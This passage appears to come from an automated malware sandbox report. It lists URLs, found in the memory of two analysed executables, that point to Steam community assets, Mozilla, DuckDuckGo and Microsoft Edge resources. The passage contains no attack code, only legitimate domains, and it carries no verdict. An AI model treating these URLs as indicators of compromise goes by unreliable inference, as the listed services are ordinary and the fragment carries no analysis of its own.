Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=KLqJaM1v
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=TONm
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=0IXKH44IpF1u&l=english
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=Gr5o1d5GQef0&l=en
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=HNbD--FePQTr&l=english
Source: 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=2VOT8-1_tx9Q&l=en
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=oaWa21XUbd8h&am
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.ctem
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 0e09cae2-b3ca-49c8-af40-a29526af4444.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
